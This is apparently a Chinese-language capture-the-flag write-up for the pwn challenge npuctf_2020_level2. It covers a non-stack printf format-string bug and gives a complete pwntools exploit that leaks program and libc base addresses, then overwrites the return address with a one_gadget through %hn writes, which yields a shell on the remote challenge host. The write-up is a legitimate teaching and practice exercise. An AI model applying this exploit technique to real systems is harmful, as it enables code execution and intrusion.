npuctf_2020_level2

b4nd1t

npuctf_2020_level

1.保护检查

1679122312736

2.源代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
read(0, buf, 0x64uLL);
if ( !strcmp(buf, "66666666") )
break;
printf(buf);
}
return 0;
}

非栈上的格式化字符串漏洞,输入66666666会退出

1679122797888

在0x7fffffffdf88处有一条rbp链可用

0x7fffffffdf70处和0x7fffffffdf78处分别可以泄露程序加载基址和libc加载基址

0x7fffffffdf88在第9个参数的位置,0x7fffffffe058在第35个参数的位置。

思路是将0x7fffffffe058处所存的0x7fffffffe388改到返回地址的地方,再把返回地址改成onegadget的地址就可以拿到shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p = process("./buu")
p = remote('node4.buuoj.cn',25110)
libc = ELF("u1864.so")
def debug():
gdb.attach(p)
buf_offset = 0x201040
payload = "%6$p%7$p%9$p"
p.sendline(payload)
base = int(p.recv(14),16) - 0x830
print(hex(base))
libcbase = int(p.recv(14),16) - libc.sym['__libc_start_main'] - 231
print(hex(libcbase))
stack_addr = int(p.recv(14),16) - 0xe0
num1 = (stack_addr & 0xffff)
onegadget = [0x4f2c5,0x4f322,0x10a38c]
og = libcbase + onegadget[0]
buf_addr = base + buf_offset
payload = "%" + str(num1) + "c%9$hn"
p.sendline(payload)
#print(hex(libc.sym['__libc_start_main']))

p.recv()
payload = "%{}c%35$hn".format(og & 0xffff)
p.sendline(payload)

p.recv()
payload = "%{}c%9$hhn".format((num1 & 0xff) + 2)
p.sendline(payload)

p.recv()
payload = "%{}c%35$hn".format((og >> 16) & 0xffff)
p.sendline(payload)

p.recv()
payload = "66666666" + "\x00" * 8
p.sendline(payload)

p.sendline("cat flag")
#debug()
p.interactive()

1679138627884

此页目录
npuctf_2020_level2